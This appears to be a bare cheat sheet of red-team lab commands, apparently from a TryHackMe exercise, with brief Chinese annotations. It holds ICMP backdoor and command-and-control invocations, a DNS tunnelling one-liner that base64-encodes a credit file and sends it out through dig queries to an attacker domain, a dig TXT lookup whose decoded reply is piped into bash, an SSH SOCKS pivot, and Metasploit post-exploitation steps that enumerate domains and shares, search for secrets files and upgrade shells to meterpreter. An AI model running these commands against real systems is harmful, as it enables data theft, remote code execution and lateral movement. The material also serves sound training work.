1 |
|
sudo icmpdoor -i eth0 -d 192.168.0.133
1 |
|
sudo icmp-cnc -i eth1 -d 192.168.0.121
1 |
|
cat task9/credit.txt |base64 | tr -d “\n” | fold -w18 | sed ‘s/.*/&./‘ | tr -d “\n” | sed s/$/att.tunnel.com/ | awk ‘{print “dig +short “ $1}’ | bash
1 |
|
sudo tcpdump -i eth0 udp port 53 -v
1 |
|
dig +short -t TXT script.tunnel.com
1 |
|
dig +short -t TXT script.tunnel.com | tr -d “"“ | base64 -d | bash
1 |
|
ssh thm@10.1.1.2 -4 -f -N -D 1080
root@attacker$ proxychains curl http://192.168.0.100/demo.php
下边俩操作二选一
root@attacker$ #OR
root@attacker$ curl –socks5 127.0.0.1:1080 http://192.168.0.100/demo.php
1 |
|
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
1 |
https://en.wikipedia.org/wiki/Windows.h
1 |
|
post/windows/gather/enum_domain
1 |
|
post/windows/gather/enum_shares
1 |
|
search -f *.txt
search -f secrets.txt
1 |
|
sessions -u 3
sessions -u -1
#开metepreter
ctrl+z 然后y转为后台
use post/multi/manage/shell_to_meterpreter
拿模块打
set session
然后等着出新session